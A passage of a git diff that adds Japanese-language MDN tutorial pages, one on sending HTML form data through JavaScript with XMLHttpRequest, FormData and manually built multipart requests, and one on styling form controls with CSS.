controls</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">フォームへのスタイル設定</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">フォームへの高度なスタイル設定</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes" rel="noopener">UI pseudo-classes</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> +</ul> + +<h3 id="Advanced_Topics" name="Advanced_Topics">上級トピック</h3> + +<ul> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/How_to_build_custom_form_controls" rel="noopener">カスタムフォームコントロールの作成方法</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Sending_forms_through_JavaScript" rel="noopener">JavaScript によるフォームの送信</a></li> + <li><a class="external" href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/Property_compatibility_table_for_form_widgets" rel="noopener">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> diff --git a/files/ja/learn/forms/sending_forms_through_javascript/index.html b/files/ja/learn/forms/sending_forms_through_javascript/index.html new file mode 100644 index 0000000000..3b3ba71ce2 --- /dev/null +++ b/files/ja/learn/forms/sending_forms_through_javascript/index.html @@ -0,0 +1,396 @@ +--- +title: JavaScript によるフォームの送信 +slug: Learn/Forms/Sending_forms_through_JavaScript +tags: + - Advanced + - Example + - Forms + - Forms Guide + - Guide + - HTML + - HTML forms + - JavaScript + - Learn + - Security + - Web + - Web Forms +translation_of: Learn/Forms/Sending_forms_through_JavaScript +--- +<div>{{LearnSidebar}}</div> + +<p><span class="seoSummary">HTML フォームは <a href="/ja/docs/Web/HTTP">HTTP</a> リクエストを宣言的に送信できます。しかし、フォームは 、例えば <code>XMLHttpRequest</code> のように JavaScript 経由で送信する HTTP リクエストを準備することもできます。この記事ではその方法を探ります。</span></p> + +<h2 id="A_form_is_not_always_a_form" name="A_form_is_not_always_a_form">フォームは必ずしもフォームであるとは限らない</h2> + +<p>PWA や SPA やフレームワークベースのアプリが現れたことで、<a href="/ja/docs/HTML/Forms" title="HTML/Forms">HTML フォーム</a>を、応答データを受け取ったときに、新しい文書を読み込むことなくデータ送信するのに使用することが次第に一般的になってきました。最初になぜいろいろなアプローチが必要となるのかを話しましょう。</p> + +<h3 id="Gaining_control_of_the_global_interface" name="Gaining_control_of_the_global_interface">グローバルインターフェイスの制御を取得</h3> + +<p>次の記事で述べる標準の HTML フォーム送信では、データが送信された URL がロードされます。つまり、ブラウザーウィンドウは全ページロードで移動します。ページ全体の読み込みを回避すると、ちらつきのような視覚上の問題や、ネットワークの遅延を避けて、よりスムーズな操作を提供できます。</p> + +<p>最近の多くの UI は、HTML フォームを使用してユーザーからの入力を収集します。ユーザーがデータを送信しようとすると、アプリケーションはバックグラウンドでデータを非同期的に制御して送信し、変更が必要な UI の部分のみを更新します。</p> + +<p>任意のデータを非同期に送信することは、<strong>"Asynchronous JavaScript And XML" </strong>を表す頭字語である <a href="/ja/docs/AJAX" title="AJAX">AJAX</a> として知られています。</p> + +<h3 id="How_is_it_different" name="How_is_it_different">その違いは?</h3> + +<p>{{domxref("XMLHttpRequest")}} (XHR) DOM オブジェクトで HTTP リクエストを作成して送信し、結果を取得することができます。歴史的には、{{domxref("XMLHttpRequest")}} は交換フォーマットとして <a href="/ja/docs/XML_Introduction">XML</a> を取得して送信するように設計されていました。しかし、<a href="/ja/docs/Glossary/JSON">JSON</a> は XML に取って代わっています。しかし、XML も JSON もフォームデータリクエストのエンコーディングには適合しません。フォームデータ (<code>application/x-www-form-urlencoded</code>) は、キーと値のペアの URL エンコードされたリストで構成されています。バイナリーデータを送信するために、HTTP リクエストは <code>multipart/form-data</code> に再形成されます<strong>。</strong></p> + +<div class="blockIndicator note"> +<p><strong>注記</strong>: <a href="https://wiki.developer.mozilla.org/ja/docs/Web/API/Fetch_API">Fetch API</a> は最近 XHR の代わりによく使われます — これは XHR のモダンで更新されたバージョンであり、同様に動作しますが利点もあります。この記事で見る大半の XHR コードは Fetch で置き換えられます。</p> +</div> + +<p>フロントエンド (ブラウザーで実行されるコード) とバックエンド (サーバーで実行されるコード) を制御すれば、JSON/XML を送信して必要に応じて処理することができます。</p> + +<p>しかし、サードパーティのサービスを利用したい場合、サービスが要求する零式でデータ送信する必要があります。</p> + +<p>ではどのようにしてそのようなデータを送信するのでしょうか?以下に必要となるさまざまなテクニックがあります。</p> + +<h2 id="Sending_form_data" name="Sending_form_data">フォームデータの送信</h2> + +<p>フォームデータを送信するには、従来の方法から新しい {{domxref("FormData")}} オブジェクトまで 3 つの方法があります。それらを詳しく見てみましょう。</p> + +<h3 id="Building_an_XMLHttpRequest_manually" name="Building_an_XMLHttpRequest_manually">手作業での XMLHttpRequest の作成</h3> + +<p>{{domxref("XMLHttpRequest")}} は、HTTP リクエストを作成する最も安全で信頼性の高い方法です。{{domxref("XMLHttpRequest")}} を使用してフォームデータを送信するには、URL エンコードしたデータを準備し、フォームデータリクエストの詳細に従ってください。</p> + +<p>例を見てみましょう:</p> + +<pre class="brush: html notranslate"><button>Click Me!</button></pre> + +<p>JavaScript はこうです:</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function sendData( data ) { + console.log( 'Sending data' ); + + const XHR = new XMLHttpRequest(); + + let urlEncodedData = "", + urlEncodedDataPairs = [], + name; + + // data オブジェクトを、URL エンコードしたキーと値のペアの配列に変換します + for( name in data ) { + urlEncodedDataPairs.push( encodeURIComponent( name ) + '=' + encodeURIComponent( data[name] ) ); + } + + // キーと値のペアをひとつの文字列に連結して、Web ブラウザーのフォーム送信方式に + // 合うよう、エンコードされた空白をプラス記号に置き換えます。 + urlEncodedData = urlEncodedDataPairs.join( '&' ).replace( /%20/g, '+' ); + + // データが正常に送信された場合に行うことを定義します + XHR.addEventListener( 'load', function(event) { + alert( 'Yeah! Data sent and response loaded.' ); + } ); + + // エラーが発生した場合に行うことを定義します + XHR.addEventListener( 'error', function(event) { + alert( 'Oops! Something went wrong.' ); + } ); + + // リクエストをセットアップします + XHR.open( 'POST', 'https://example.com/cors.php' ); + + // フォームデータの POST リクエストを扱うために必要な HTTP ヘッダを追加します + XHR.setRequestHeader( 'Content-Type', 'application/x-www-form-urlencoded' ); + + // 最後に、データを送信します + XHR.send( urlEncodedData ); +} + +btn.addEventListener( 'click', function() { + sendData( {test:'ok'} ); +} ) +</pre> + +<p>そして、結果は以下のとおりです:</p> + +<p>{{EmbedLiveSample("Building_an_XMLHttpRequest_manually", "100%", 50)}}</p> + +<div class="note"> +<p><strong>注記:</strong> この {{domxref("XMLHttpRequest")}} の使用は、第三者の Web サイトにデータを送信したい場合にも、同一生成元ポリシーの対象となります。クロスオリジンリクエストの場合は、<a href="/ja/docs/Web/HTTP/CORS">CORS と HTTP のアクセス制御</a>が必要です。</p> +</div> + +<h3 id="Using_XMLHttpRequest_and_the_FormData_object" name="Using_XMLHttpRequest_and_the_FormData_object">XMLHttpRequest と FormData オブジェクトの使用</h3> + +<p>HTTP リクエストを手作業で作成するのは大変なことです。幸いなことに、最近の <a href="http://www.w3.org/TR/XMLHttpRequest/">XMLHttpRequest 仕様</a>では {{domxref("FormData")}} オブジェクトを使ってフォームデータリクエストを処理する便利で簡単な方法が提供されています。</p> + +<p>{{domxref("FormData")}} オブジェクトは、送信用のフォームデータを作成したり、送信方法を管理するフォーム要素内のデータを取得するために使用できます。{{domxref("FormData")}} オブジェクトは "書き込み専用" であることに注意してください。つまり、変更することはできますが、内容を取得することはできません。</p> + +<p>このオブジェクトの使い方は <a href="/ja/docs/Web/API/FormData/Using_FormData_Objects">FormData オブジェクトの使用</a>で詳述されていますが、2 つの例があります。</p> + +<h4 id="Using_a_standalone_FormData_object" name="Using_a_standalone_FormData_object">独立した FormData オブジェクトを使用する</h4> + +<pre class="brush: html notranslate"><button type="button" onclick="sendData({test:'ok'})">Click Me!</button></pre> + +<p>HTML のサンプルはおわかりでしょう。JavaScript はこうです。</p> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); + +function sendData(data) { + const XHR = new XMLHttpRequest(), + FD = new FormData(); + + // データを FormData オブジェクトに投入します + for(name in data) { + FD.append(name, data[name]); + } + + // データが正常に送信された場合に行うことを定義します + XHR.addEventListener('load', function(event) { + alert('Yeah! Data sent and response loaded.'); + }); + + // エラーが発生した場合に行うことを定義します + XHR.addEventListener('error', function(event) { + alert('Oups! Something goes wrong.'); + }); + + // リクエストをセットアップします + XHR.open('POST', 'http://ucommbieber.unl.edu/CORS/cors.php'); + + // FormData オブジェクトを送信するだけです。HTTP ヘッダは自動的に設定されます + XHR.send(FD); +}</pre> + +<p>そして、結果は以下のとおりです:</p> + +<p>{{EmbedLiveSample("Using_a_standalone_FormData_object", "100%", 50)}}</p> + +<h4 id="Using_FormData_bound_to_a_form_element" name="Using_FormData_bound_to_a_form_element">form 要素に紐づけた FormData を使用する</h4> + +<p><code>FormData</code> オブジェクトを {{HTMLElement("form")}} 要素に紐づけることもできます。これにより、フォームに含まれるデータを表す <code>FormData</code> をすばやく得ることができます。</p> + +<p>HTML の部分はかなり典型的です:</p> + +<pre class="brush: html notranslate"><form id="myForm"> + <label for="myName">Send me your name:</label> + <input id="myName" name="name" value="John"> + <input type="submit" value="Send Me!"> +</form></pre> + +<p>しかし、JavaScript がフォームを乗っ取ります。</p> + +<pre class="brush: js notranslate">window.addEventListener("load", function () { + function sendData() { + const XHR = new XMLHttpRequest(); + + // FormData オブジェクトと form 要素を紐づけます + const FD = new FormData(form); + + // データが正常に送信された場合に行うことを定義します + XHR.addEventListener("load", function(event) { + alert(event.target.responseText); + }); + + // エラーが発生した場合に行うことを定義します + XHR.addEventListener("error", function(event) { + alert('Oups! Something goes wrong.'); + }); + + // リクエストをセットアップします + XHR.open("POST", "http://ucommbieber.unl.edu/CORS/cors.php"); + + // 送信したデータは、ユーザーがフォームで提供したものです + XHR.send(FD); + } + + // form 要素にアクセスしなければなりません + const form = document.getElementById("myForm"); + + // フォームの submit イベントを乗っ取ります + form.addEventListener("submit", function (event) { + event.preventDefault(); + + sendData(); + }); +});</pre> + +<p>そして、結果は以下のとおりです:</p> + +<p>{{EmbedLiveSample("Using_FormData_bound_to_a_form_element", "100%", 50)}}</p> + +<p>フォームの {{domxref("HTMLFormElement.elements", "elements")}} プロパティを使用してフォーム内のすべてのデータ要素のリストを取得し、それらを一度に 1 つずつ手動で管理することで、このプロセスにさらに関わることができます。詳細については、{{SectionOnPage("/ja/docs/Web/API/HTMLFormElement.elements", "要素リストの内容にアクセスする")}}の例を参照してください。</p> + +<h2 id="Dealing_with_binary_data" name="Dealing_with_binary_data">バイナリーデータを扱う</h2> + +<p><code><input type="file"></code> ウィジェットを含むフォームで {{domxref("FormData")}} オブジェクトを使用すると、データは自動的に処理されます。しかし、バイナリーデータを手動で送るには、追加でやるべきことがあります。</p> + +<p>現代の Web には、バイナリーデータのソースが多数あります。たとえば、{{domxref("FileReader")}}、{{domxref("HTMLCanvasElement","Canvas")}}、<a href="/ja/docs/Web/API/Navigator/getUserMedia">WebRTC</a> などです。残念ながら、一部の従来のブラウザーではバイナリーデータにアクセスできないか、または複雑な回避策が必要です。これらのレガシーケースはこの記事の範囲外です。<code>FileReader</code> API について詳しく知りたい場合は、<a href="/ja/docs/Web/API/File/Using_files_from_web_applications">Web アプリケーションからファイルを扱う</a>を読んでください。</p> + +<p>{{domxref("FormData")}} をサポートするバイナリーデータを送信するのは簡単です。<code>append()</code> メソッドを使用すれば完了です。手動でやらなければならないならば、それはトリッキーです。</p> + +<p>以下の例ではバイナリーデータへのアクセスに {{domxref("FileReader")}} API を使用しており、また手作業でマルチパートのフォームデータを作成しています:</p> + +<pre class="brush: html notranslate"><form id="myForm"> + <p> + <label for="i1">text data:</label> + <input id="i1" name="myText" value="Some text data"> + </p> + <p> + <label for="i2">file data:</label> + <input id="i2" name="myFile" type="file"> + </p> + <button>Send Me!</button> +</form></pre> + +<p>ご覧のとおり、HTML は標準の <code><form></code> です。不思議なところは何もありません。「魔法」は JavaScript にあります。</p> + +<pre class="brush: js notranslate">// DOM ノードにアクセスしたいため、 +// ページをロードしたときにスクリプトを初期化します。 +window.addEventListener('load', function () { + + // この変数は、フォームデータを格納するために使用します。 + const text = document.getElementById("i1");; + const file = { + dom : document.getElementById("i2"), + binary : null + }; + + // ファイルコンテンツへのアクセスに FileReader API を使用します。 + const reader = new FileReader(); + + // FileReader API は非同期であるため、ファイルの読み取りが完了したときに + // その結果を保存しなければなりません。 + reader.addEventListener("load", function () { + file.binary = reader.result; + }); + + // ページを読み込んだとき、すでに選択されているファイルがあればそれを読み取ります。 + if(file.dom.files[0]) { + reader.readAsBinaryString(file.dom.files[0]); + } + + // 一方、ユーザーがファイルを選択したらそれを読み取ります。 + file.dom.addEventListener("change", function () { + if(reader.readyState === FileReader.LOADING) { + reader.abort(); + } + + reader.readAsBinaryString(file.dom.files[0]); + }); + + // sendData 関数がメインの関数です。 + function sendData() { + // 始めに、ファイルが選択されている場合はファイルの読み取りを待たなければなりません。 + // そうでない場合は、関数の実行を遅延させます。 + if(!file.binary && file.dom.files.length > 0) { + setTimeout(sendData, 10); + return; + } + + // マルチパートのフォームデータリクエストを構築するため、 + // XMLHttpRequest のインスタンスが必要です。 + const XHR = new XMLHttpRequest(); + + // リクエストの各パートを定義するためのセパレータが必要です。 + const boundary = "blob"; + + // 文字列としてリクエストのボディを格納します。 + let data = ""; + + // そして、ユーザーがファイルを選択したときに + if (file.dom.files[0]) { + // リクエストのボディに新たなパートを作ります + data += "--" + boundary + "\r\n"; + + // フォームデータであることを示します (他のものになる場合もあります) + data += 'content-disposition: form-data; ' + // フォームデータの名前を定義します + + 'name="' + file.dom.name + '"; ' + // 実際のファイル名を与えます + + 'filename="' + file.dom.files[0].name + '"\r\n'; + // ファイルの MIME タイプを与えます + data += 'Content-Type: ' + file.dom.files[0].type + '\r\n'; + + // メタデータとデータの間に空行を置きます + data += '\r\n'; + + // リクエストのボディにバイナリーデータを置きます + data += file.binary + '\r\n'; + } + + // テキストデータの場合はシンプルです。 + // リクエストのボディに新たなパートを作ります + data += "--" + boundary + "\r\n"; + + // フォームデータであることと、データの名前を示します。 + data += 'content-disposition: form-data; name="' + text.name + '"\r\n'; + // メタデータとデータの間に空行を置きます + data += '\r\n'; + + // リクエストのボディにテキストデータを置きます。 + data += text.value + "\r\n"; + + // 完了したら、リクエストのボディを "閉じます"。 + data += "--" + boundary + "--"; + + // データが正常に送信された場合に行うことを定義します + XHR.addEventListener('load', function(event) { + alert('Yeah! Data sent and response loaded.'); + }); + + // エラーが発生した場合に行うことを定義します + XHR.addEventListener('error', function(event) { + alert('Oups! Something goes wrong.'); + }); + + // リクエストをセットアップします + XHR.open('POST', 'http://ucommbieber.unl.edu/CORS/cors.php'); + + // マルチパートのフォームデータの POST リクエストを扱うために必要な HTTP ヘッダを追加します。 + XHR.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary); + XHR.setRequestHeader('Content-Length', data.length); + + // 最後に、データを送信します + // Firefox のバグ 416178 により、send() の代わりに sendAsBinary() を使用することが必要です。 + XHR.sendAsBinary(data); + } + + // 少なくとも、フォームにアクセスしなければなりません。 + const form = document.getElementById("myForm"); + + // submit イベントを乗っ取ります。 + form.addEventListener('submit', function (event) { + event.preventDefault(); + sendData(); + }); +});</pre> + +<p>そして、結果は以下のとおりです:</p> + +<p>{{EmbedLiveSample("Dealing_with_binary_data", "100%", 150)}}</p> + +<h2 id="Conclusion" name="Conclusion">まとめ</h2> + +<p>ブラウザーや扱うデータタイプによっては、JavaScript を介してフォームデータを送信するのが簡単な場合と難しい場合があります。{{domxref("FormData")}} オブジェクトが一般的な答えであり、レガシーブラウザーで <a href="https://github.com/jimmywarting/FormData">polyfill</a> を使用することをためらってはいけません。</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール</h2> + +<h3 id="学習コース">学習コース</h3> + +<ul> + <li><a href="/ja/docs/Learn/HTML/Forms/Your_first_HTML_form">初めての HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_structure_an_HTML_form">HTML フォームの構築方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/The_native_form_widgets">ネイティブフォームウィジェット</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_and_retrieving_form_data">フォームデータの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Data_form_validation">フォームデータの検証</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">カスタムフォームウィジェットの作成方法</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">JavaScript によるフォームの送信</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">古いブラウザーでの HTML フォーム</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Styling_HTML_forms">HTML フォームへのスタイル設定</a></li> + <li><a href="/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a></li> + <li><a href="/ja/docs/Property_compatibility_table_for_form_widgets">フォームウィジェット向けプロパティ実装状況一覧</a></li> +</ul> + +<h3 id="上級トピック">上級トピック</h3> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Sending_forms_through_JavaScript">Sending forms through JavaScript</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets">How to build custom form widgets</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers">HTML forms in legacy browsers</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms">Advanced styling for HTML forms</a></li> + <li><a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Property compatibility table for form widgets</a></li> +</ul> diff --git a/files/ja/learn/forms/styling_html_forms/index.html b/files/ja/learn/forms/styling_html_forms/index.html new file mode 100644 index 0000000000..4634665cef --- /dev/null +++ b/files/ja/learn/forms/styling_html_forms/index.html @@ -0,0 +1,398 @@ +--- +title: HTML フォームへのスタイル設定 +slug: Learn/Forms/Styling_HTML_forms +tags: + - CSS + - Example + - Forms + - Guide + - HTML + - Intermediate + - Web +translation_of: Learn/Forms/Styling_web_forms +--- +<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/Forms/Other_form_controls","Learn/Forms/Advanced_form_styling","Learn/Forms")}}</p> + +<p class="summary">前の記事ではウェブフォームを構築するのに必要な HTML のすべてを見てきました。この記事ではフォームコントロールにスタイル設定する <a href="https://wiki.developer.mozilla.org/ja/docs/CSS" title="/ja/docs/CSS">CSS</a> の使い方に進みます。これは歴史的に難しかったです — フォームコントロールは大きく変わり CSS を使ったフォームのカスタマイズは簡単になりました— しかし古いブラウザーが引退してモダンブラウザーが多くの機能を与えるため、より簡単になりました。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td> + <p>基本的なコンピューターリテラシーと、<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML">HTML</a> と <a href="https://wiki.developer.mozilla.org/ja/docs/Learn/CSS/First_steps">CSS</a> の基本的な理解。</p> + </td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>フォームのスタイル設定の問題を理解し、役立つスタイル付けのテクニックを学ぶこと。</td> + </tr> + </tbody> +</table> + +<h2 id="Why_is_it_so_hard_to_style_form_widgets_with_CSS" name="Why_is_it_so_hard_to_style_form_widgets_with_CSS">なぜ CSS によるフォームウィジェットへのスタイル設定は困難であるか?</h2> + +<p>1995年頃に <a href="http://www.ietf.org/rfc/rfc1866.txt" rel="extrenal" title="http://www.ietf.org/rfc/rfc1866.txt">HTML 2 仕様</a>へフォームコントロールが追加されました。CSS は 1996年までリリースされず、その後も少しのブラウザーによって十分サポートされませんでした。ブラウザーはフォームコントロールの管理や表示について下層の OS に頼ることを選択しました。</p> + +<p>CSS が HTML のスタイル設定できるようになってからも、ユーザーは各プラットフォームの視覚的な外見に慣れていましたので、ブラウザーベンダーはフォームコントロールをスタイル付け可能にすることに乗り気ではありませんでした。しかしこれは変わりました。ウェブサイトのオーナーはこれまでよりも、サイト全体に適するスタイルを欲しており、ウェブプラットフォームはこれを実現可能にしました。</p> + +<p>いくつかのフォームウィジェットでは、コントロールをスタイル設定できるように作成し直すのは難しいですが、ユーザービリティを破綻させないよう気をつける必要はあるものの、CSS を使って多くのフォーム機能をスタイル設定できます。</p> + +<h3 id="Not_all_widgets_are_created_equal_when_CSS_is_involved" name="Not_all_widgets_are_created_equal_when_CSS_is_involved">CSS を伴ってもすべてのウィジェットが同等に作成されるわけではありません</h3> + +<p>いまだに、フォームで CSS を使用する際に困ることが存在します。この問題は、3 つのカテゴリーに分けられます。</p> + +<h4 id="The_good" name="The_good">良好</h4> + +<p>いくつかの要素はプラットフォーム間の問題があるとしても、ほとんど問題なくスタイルを設定できます。これらは以下の構造的な要素が含まれます:</p> + +<ol> + <li>{{HTMLElement("form")}}</li> + <li>{{HTMLElement("fieldset")}} と {{HTMLElement("legend")}}</li> + <li>単一行のテキスト {{HTMLElement("input")}} (例 text, url, email...のタイプ) <code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/search"><input type="search"></a></code>を除く</li> + <li>複数行の {{HTMLElement("textarea")}}</li> + <li>ボタン ({{HTMLElement("input")}} と {{HTMLElement("button")}}の両方)</li> + <li>{{HTMLElement("label")}}</li> + <li>{{HTMLElement("output")}}</li> +</ol> + +<h4 id="The_bad" name="The_bad">不良</h4> + +<p>一部の要素はほとんどスタイル設定ができず、時に CSS3 の高度な知識やトリックが必要になるかもしれません。</p> + +<ol> + <li>チェックボックスとラジオボタン</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/search"><input type="search"></a></code></li> +</ol> + +<p>これら特殊なケースをどのように扱うかについては、<a href="/ja/docs/Advanced_styling_for_HTML_forms" title="Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a>の記事で見ていきます。</p> + +<h4 id="The_ugly" name="The_ugly">劣悪</h4> + +<p>一部の要素は、CSS でスタイルを設定できません。たとえば次のもの:</p> + +<ul> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/color"><input type="color"></a></code></li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/datetime-local"><input type="datetime-local"></a></code>のような日付関連コントロール</li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/range"><input type="range"></a></code></li> + <li><code><a href="https://wiki.developer.mozilla.org/ja/docs/Web/HTML/Element/input/file"><input type="file"></a></code></li> + <li>ドロップダウンウィジェットの作成に含まれる要素、{{HTMLElement("select")}}, {{HTMLElement("option")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("datalist")}}を含む。</li> + <li>{{HTMLElement("progress")}} と {{HTMLElement("meter")}}</li> +</ul> + +<p>これらの要素をスタイル設定するのに関して何ができるかについては、<a href="/ja/docs/Advanced_styling_for_HTML_forms" title="Advanced_styling_for_HTML_forms">HTML フォームへの高度なスタイル設定</a>の記事で見ていきます。</p> + +<p>これらすべてのウィジェットの主な問題は、ウィジェットの構造がとても複雑であるという事実と、(コントロールの width や margin の変更といった)基本的なスタイル設定を超えると、現在の CSS では(例えばカレンダー日付ピッカーや、選択肢のリストを表示する<select>のボタンのような)ウィジェットの細かい部分すべてにスタイルを設定できるほどの表現力がないことによります。</p> + +<p>これらのウィジェットを完全にカスタマイズしたい場合は、HTML, CSS, JavaScript を使って独自のものを作成する必要があります。それはこのコアフォームの記事の範囲を超えますが、高度な記事の<a href="/ja/docs/HTML/Forms/How_to_build_custom_form_widgets" title="HTML/Forms/How_to_build_custom_form_widgets">カスタムウィジェットの作成方法</a>の記事で説明します。</p> + +<div class="blockIndicator note"> +<p><strong>注</strong>: フォームコントロールの内部コンポーネントにスタイル設定するプロプライエタリな CSS 疑似要素、例えば {{cssxref('::-moz-range-track')}}がありますが、これはブラウザー同士で整合していないので、これに頼るべきではありません。これについては後程でも触れます。</p> +</div> + +<h2 id="The_good_2" name="The_good_2">良好</h2> + +<p>CSS での<a href="/ja/docs/HTML/Forms/Styling_HTML_forms#The_good" title="HTML/Forms/Styling_HTML_forms#The_good">スタイル設定が容易な要素</a>は、振る舞いが他の HTML 要素とほとんど同じであるため、問題に直面することはないでしょう。ただし、ブラウザー間でユーザーエージェントのスタイルシートが若干矛盾するかもしれませんので、より簡単にスタイルを設定できるようにするためのトリックがあります。</p> + +<p>上記で述べた基本的な CSS ツールと同じく、いくつかのセレクターが与えられます — UI 疑似クラス — これにより現在の UI の状態に基づくスタイル設定ができます。これは次の記事である、<a href="https://wiki.developer.mozilla.org/ja/docs/Learn/Forms/UI_pseudo-classes">UI 疑似クラス</a>で扱います。</p> + +<p>この記事の最後で基本的なフォームコントロールのスタイル設定と配置について理解できる実例を詳しく見ていきます。しかしその前に、知っておくと良いフォームスタイル設定の特定の面をいくつか述べておきます。</p> + +<h3 id="Fonts_and_text" name="Fonts_and_text">フォントとテキスト</h3> + +<p>CSS のフォントやテキストの機能は、任意のウィジェットで容易に使用できます (また、フォームウィジェットで {{cssxref("@font-face")}} も使用できます)。ただし、ブラウザーの動作にしばしば矛盾があります。デフォルトで、一部のブラウザーは親から {{cssxref("font-family")}} や {{cssxref("font-size")}} を継承しません。代わりに多くのブラウザーでは、システムのデフォルトの体裁を使用します。フォームの体裁を他のコンテンツと一致させるには、以下のルールをスタイルシートに追加するとよいでしょう:</p> + +<pre class="brush: css notranslate">button, input, select, textarea { + font-family : inherit; + font-size : 100%; +}</pre> + +<p>{{cssxref('inherit')}} のプロパティ値で、プロパティ値は計算された親要素のプロパティ値に一致するようになります。つまり親の値を継承します。</p> + +<p>以下のスクリーンショットで違いを示します。左側は Mac OS X の Chrome における<code><input type="text"></code>, <code><input type="date"></code>, {{htmlelement('select')}}, {{htmlelement('textarea')}}, <code><input type="submit"></code>, <code><button></code> 要素の既定のレンダリングで、プラットフォームのデフォルトフォントスタイルを使用しています。右側は同じ要素ですが、フォントを調和させるスタイルルールを適用したものです。</p> + +<p><img alt="Form controls with default and inherited font families. 既定では, some types are serif and others are sans serif. Inheriting should change the fonts of all to the parent's font family - in this case a paragraph. Oddly, input of type submit does not inherit from the parent paragraph." src="https://mdn.mozillademos.org/files/16903/forms_fontfamily.png" style="height: 260px; width: 483px;"></p> + +<p>既定はいろいろと変わります。継承により、フォントは親のフォントファミリーに変更されます — ここでは親コンテナのデフォルトの serif フォントです。ほぼすべてそうですが、例外として Chrome では<code><input type="submit"></code> は親段落を継承しません。むしろ、{{cssxref('font-family#Values', 'font-family: system-ui')}}を使います。これは同等な入力タイプの中で <code><button></code> 要素を使う理由です!</p> + +<p>フォームはシステムのデフォルトスタイルを使用するか、コンテンツに合うよう設計されたカスタムスタイルを使用するかについては多くの議論があります。これを決めるのは、設計者としてサイトやウェブアプリケーションを作成するあなた次第です。</p> + +<h3 id="Box_model" name="Box_model">ボックスモデル</h3> + +<p>すべてのテキストフィールドは、CSS のボックスモデルに関する全プロパティ ({{cssxref("width")}}、{{cssxref("height")}}、{{cssxref("padding")}}、{{cssxref("margin")}}、および {{cssxref("border")}}) を完全にサポートしています。ただし前述のとおり、ブラウザーがウィジェットを表示する際はシステムのデフォルトスタイルに依存します。コンテンツに対してそれらをどのように混ぜ合わせるかを決めるのは、あなた次第です。ウィジェットでネイティブのルックアンドフィールを維持したいのでしたら、ウィジェットのサイズを調和させたい場合に若干の問題に直面するでしょう。</p> + +<p><strong>これは各ウィジェットがボーダー、パディング、マージンについて独自のルールを持っているためです。</strong>このためさまざまなウィジェットを同じサイズにしたい場合に、{{cssxref("box-sizing")}} プロパティを使用しなければなりません:</p> + +<pre class="brush: css notranslate">input, textarea, select, button { + width : 150px; + padding: 0; + margin: 0; + box-sizing: border-box; +}</pre> + +<p>下のスクリーンショットで、左の列は<input type="radio">, <input type="checkbox">, <input type="range">, <input type="text">, <input type="date"> input, {{htmlelement('select')}}, {{htmlelement('textarea')}},<input type="submit">, {{htmlelement('button')}} の既定の描画、右の列は同じ要素に上のルールを使用して作成したものです。各種のウィジェットのプラットフォームのデフォルトルールと比較して、すべての要素が同じ領域を占めるようにすることが可能な点に注目してください。</p> + +<p><img alt="box model properties effect most input types." src="https://mdn.mozillademos.org/files/16904/boxmodel_formcontrols1.png" style="height: 365px; width: 359px;"></p> + +<p>スクリーンショットで明白でないことはラジオボタンとチェックボックスコントロールが同じであるが、水平位置が {{cssxref('width')}} プロパティで与えられる 150px の中心にあることです。他のブラウザーではウィジェットを中心揃えにしませんが、割り当てられたスペースに付着させます。</p> + +<h3 id="legend" name="legend">legend 配置</h3> + +<p>{{HTMLElement("legend")}} 要素はポジショニングを除いて、スタイル設定の問題はありません。既定では、それは親 {{HTMLElement("fieldset")}} の上ボーダーの前面に、左上の隅の近くに配置されます。これを他の場所、例えば fieldset内のどこかや、左下の隅に配置するには、配置に頼る必要があります。</p> + +<p>下記の例を見てください:</p> + +<p>{{EmbedGHLiveSample("learning-area/html/forms/native-form-widgets/positioned-legend.html", '100%', 400)}}</p> + +<p>この方法で legend を配置するには、次の 